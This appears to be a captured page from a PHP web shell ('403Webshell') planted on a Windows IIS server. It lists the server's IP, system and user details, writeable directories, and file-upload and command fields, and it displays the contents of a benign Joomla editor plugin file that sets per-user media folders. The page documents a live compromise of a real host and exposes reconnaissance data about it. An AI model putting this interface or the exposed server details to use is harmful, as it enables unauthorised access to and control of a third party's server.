403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/Engineering/V2/plugins/editors/jckeditor/includes/ckeditor/plugins/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/Engineering/V2/plugins/editors/jckeditor/includes/ckeditor/plugins/default/user.php
<?php


defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.event.plugin');


class plgDefaultUser extends JPlugin 
{
		
  	function plgDefaultUser(& $subject, $config) 
	{
		parent::__construct($subject, $config);
	}
	
	//default method that is called
	function intialize(&$params) // Editor's params passed in
	{
		//To be implemented	
		//Get user
		$user =& JFactory::getUser();
		
		if($user->gid == 25) //Super Aministrators see everything
			return;
		
		//check editor parameters
		$useUserFolder =  $params->get('useUserFolders',0);
		$userFolderType =  $params->get('userFolderType','username');
		
		
		if(!$useUserFolder)
			return;
				
		//Get user id
		if($userFolderType == 'username')
		{
			$id =  $user->username;
		}	
		else
		{ 	
			$id  = $user->id;	
		}

		//Now set media paths
		//Get current value set in DB
		$imagePath = $params->get('imagePath','images') . DS . $id;
		$params->set('imagePath',$imagePath);
		
		
		$flashPath = $params->get('flashPath','flash')  . DS . $id;
		$params->set('flashPath',$flashPath);
		
		
		//Now set media paths
		//Get current value set in DB
		$filePath = $params->get('filePath','files')  . DS . $id;
		$params->set('filePath',$filePath);
		
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit